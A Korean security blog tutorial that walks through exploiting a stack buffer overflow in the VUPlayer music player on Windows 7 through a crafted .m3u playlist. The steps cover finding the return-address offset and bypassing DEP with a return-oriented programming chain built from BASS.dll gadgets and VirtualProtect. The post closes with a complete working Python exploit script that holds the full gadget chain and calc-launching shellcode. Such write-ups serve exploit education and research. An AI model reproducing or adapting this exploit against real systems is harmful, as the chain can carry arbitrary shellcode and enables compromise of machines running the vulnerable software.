[Window Application Exploit] ROP
- System/Windows
- 2017. 9. 15. 23:30
본 exploit code는 module rebase를 고려하지 않는 환경을 기준으로 생각해주시기 바랍니다.
Step 1. Application
처음 프로그램을 실행시키면 아래와 같은 실행화면이 나오게 됩니다. 보통 music player같은 프로그램들은 playlist나 음악 파일 같은 걸로 input을 넣게 됩니다.
따라서 위의 화면에서 추정해보면 붉은 상자 안에 폴더나 playlist들을 open하는 곳이 input을 넣을 수 있는 부분이라고 생각할 수 있습니다.
Step 2. 취약점
BOF 취약점을 확인하기 위해서 위와 같은 code를 이용해 m3u file을 만들고 해당 파일을 playlist에 추가시킵니다.
import struct exploit = "A"*20000 file = open("exp.m3u", "w") file.write(exploit) file.close()
만들어진 exp.m3u file을 그대로 vuplayer에 드래그하면 해당 파일이 playlist로 자동으로 추가가 됩니다.
프로그램이 중지되고 오류가 뜨는 것을 볼 수 있습니다. 예외 오프셋이라는 항목을 보면 현재 return address가 어떤 값으로 덮여있는 지를 알 수 있는데 A의 hex값이 들어가 있는 것을 알 수 있습니다.
따라서 해당 프로그램은 단순한 buffer overflow 취약점이 있다는 것을 알 수 있습니다.
return address까지의 offset을 알아내기 위해 약 15000bytes정도의 패턴을 만들어 파일을 만듭니다. 이후 vuplayer에 이전과 같은 방식으로 파일을 넣어 overflow를 일으키면 아래와 같은 패턴이 return address에 들어간 것을 알 수 있습니다.
해당 패턴을 중심으로 offset 검사를 해보면 return address까지의 offset은 1012bytes로 나오게 되고 이 값을 중심으로 exploit을 작성하면 됩니다.
Step 3. DEP 보호기법
현재 실행하는 환경은 window 7입니다. Microsoft에서 window 7을 만들었을 때 적용되는 DEP라는 보호기법이 있습니다. DEP는 Data Execution protection이라 해서 stack공간이나 heap에서의 code 실행을 막기위한 메모리 보호기법입니다.
이전 window XP환경에서는 shellcode를 stack에 저장하고 return address 변조를 통해 shellcode를 실행시켰습니다. 하지만 window 7에서는 stack에 실행 권한이 없기때문에 shellcode를 저장하고 return address 변조를 해도 shellcode가 실행되지 않습니다.
window 7에서는 아래와 같이 DEP를 설정 및 해제할 수 있습니다.
Memory map을 보게되면 window의 stack환경에는 현재 Read, Write 권한만 할당되어 있고 실행권한이 없습니다. 따라서 DEP 보호기법을 우회하기 우해서 ROP 기법을 사용해야 합니다.
Step 4. ROP
각 module이나 binary에는 특정 opcode로 이뤄진 code가 존재합니다.
아래의 간단한 예를 기준으로 0xAAAAAAAA라는 주소와 0xBBBBBBBB라는 주소에 특정한 행동을 하는 opcode들이 있습니다. return address에 아래의 code를 이어 붙여놓으면 eax,와 ebx, edx register가 특정한 값으로 세팅되게 됩니다.
아래와 같이 특정 주소에 있는 opcode들을 가젯이라고 하는데 이러한 가젯을 모아 공격자가 원하는 코드 흐름을 실행시키는 것을 ROP 기법이라고 말합니다.
0xAAAAAAAA # pop eax; pop ebx; ret 0xBBBBBBBB # push ecx; pop edx; ret
ROP를 vuplayer 프로그램에 적용시키려면 먼저 payload 구성을 해야합니다.
1. VirtualProtect()를 이용해 stack 실행권한 할당 2. shellcode를 스택에 저장하고 return
Virtualalloc을 이용한 메모리 할당도 괜찮지만 지금은 VirtualProtect API를 사용해 shellcode를 실행시킬 것입니다.
ROP를 하기위한 가젯을 구해야 하므로 mona.py를 이용해 module을 살펴봅시다.
!mona modules
위의 명령어를 사용하면 해당 binary가 실행중일 때 이용하는 DLL들과 각 DLL에 적용된 보호기법을 쉽게 알 수 있습니다.
아래의 그림은 mona를 사용해 module 목록을 출력한 것입니다. True, False로 보호기법 적용 유무를 알려주는데 보호기법이 최대한 적용되어있지 않은 module의 가젯을 이용해야 정상적으로 작동이 됩니다.
붉은 박스로 표시된 BASS.dll을 이용할 것입니다.
!mona rop -n
위의 명령어는 NULL byte로 끝나는 가젯을 제외한 모든 가젯들을 모아줍니다.
해당 과정을 마치면 Immunity Debugger 폴더에 log 파일이 만들어집니다. 이 부분의 내용중에서 적당한 rop 가젯을 찾아서 사용하면 됩니다.
먼저 필요한 것들을 생각하자면 VirtualProtect API의 주소가 필요합니다.
이는 간단한 프로그램을 짜서 VirtualProtect의 주소를 알아냅니다. 나온 VirtualProtect 주소가 실제로 맞는지 해당 함수 주소를 return address에 넣고 kernel32.dll 내부에 VirtualProtect 함수에 breakpoint를 걸어서 확인해보겠습니다.
stack 부분을 보면 VirtualProtect가 실행되는 것을 알 수 있습니다. 그리고 밑으로는 VirtualProtect함수의 인자가 나오게 되는데 이 인자들을 ROP를 사용해 맞춰줘야 합니다.
pushad라는 opcode가 있는데 해당 명령어는 모든 register의 값을 stack으로 차례대로 넣는 명령어입니다. 이를 이용하면 함수에 대한 인자구성을 편하게 할 수 있습니다.
함수의 원형은 다음과 같습니다.
HRESULT VirtualProtect( void *lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD *pflOldProtect )
Stack에 쌓이는 것을 생각해 인자 구성을 생각해보면 아래와 같이 stack에 값이 구성되어야 합니다.
VirtualProtect Retrun address(shellcode) lpAddress dwSize flNewProtect pflOldProtect
Step 5. Payload 구성
pushadd -> retn 과정을 따르게 되므로 아래와 같이 register를 세팅해주고 pushad를 하게된다면 VirtualProtect함수가 정상적으로 작동하게 됩니다.
edi -> VirtualProtect() esi -> return address ebp -> 1 argument esp -> 2 argument ebx -> 3 argument edx -> 4 argument
Step 6. Exploit
아래와 같은 exploit code를 작성하고 파일을 만들어 넣어보겠습니다. 현재 넣은 shellcode는 calc.exe를 실행시키는 shellcode 입니다.
import struct p = lambda x : struct.pack('<L', x) VirtualProtect = 0x76522341 push_esp_pop_edi = 0x10010405 xor_eaxeax = 0x10016621 xchg_eaxedi = 0x1003308a xchg_eaxebx = 0x10032f32 xchg_eaxedx = 0x10038a6c pop_ebp_ret8 = 0x10019c4c dummy = 0x90909090 pop_edi = 0x100190b0 pop_esi = 0x100168c2 pop_ebp = 0x100106e1 pop_ebx = 0x1001c51f pop_edx = 0x1004041c pop_ecx = 0x100163c7 pop_eax = 0x10015f77 inc_ecx = 0x10015fe0 add58_eax_ret4 = 0x1001fc81 pushad = 0x1001d7a5 nop = 0x10037866 nop_sled = "\x90" * 20 calc = ( "\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64" "\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B" "\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20" "\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07" "\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74" "\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7") # overflow exp = "\xff" * 1012 # stage 1, save esp, edi - 0xc == eax exp += p(push_esp_pop_edi) exp += p(dummy) exp += p(xchg_eaxedi) exp += p(push_esp_pop_edi) exp += p(dummy) # stage 2, set VirtualProtect argument and call VirtualProtect exp += p(pop_edi) exp += p(nop) exp += p(pop_esi) exp += p(nop) exp += p(pop_ebp) exp += p(VirtualProtect) exp += p(xchg_eaxebx) exp += p(xor_eaxeax) exp += p(add58_eax_ret4) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(add58_eax_ret4) exp += p(dummy) exp += p(xchg_eaxedx) # exp += p(inc_ecx) * 0x42 exp += p(pop_eax) exp += p(0x10108010) exp += p(pushad) # stage 3, shellcode exp += nop_sled exp += calc file = open("exp.m3u", "w") file.write(exp) file.close()
성공적으로 calc.exe가 실행된 것을 볼 수 있습니다.
'System > Windows' 카테고리의 다른 글
[Browser Exploit] 3 Step To Exploit Edge (0) | 2017.09.20 |
---|---|
[Window Application Exploit] ROP2 (0) | 2017.09.18 |
[Kernel] Kernel Shellcode Analysis (0) | 2017.09.13 |
[Kernel] Kernel Shellcode (0) | 2017.09.11 |
[Kernel] Kernel Pool Attack (0) | 2017.09.08 |
이 글을 공유하기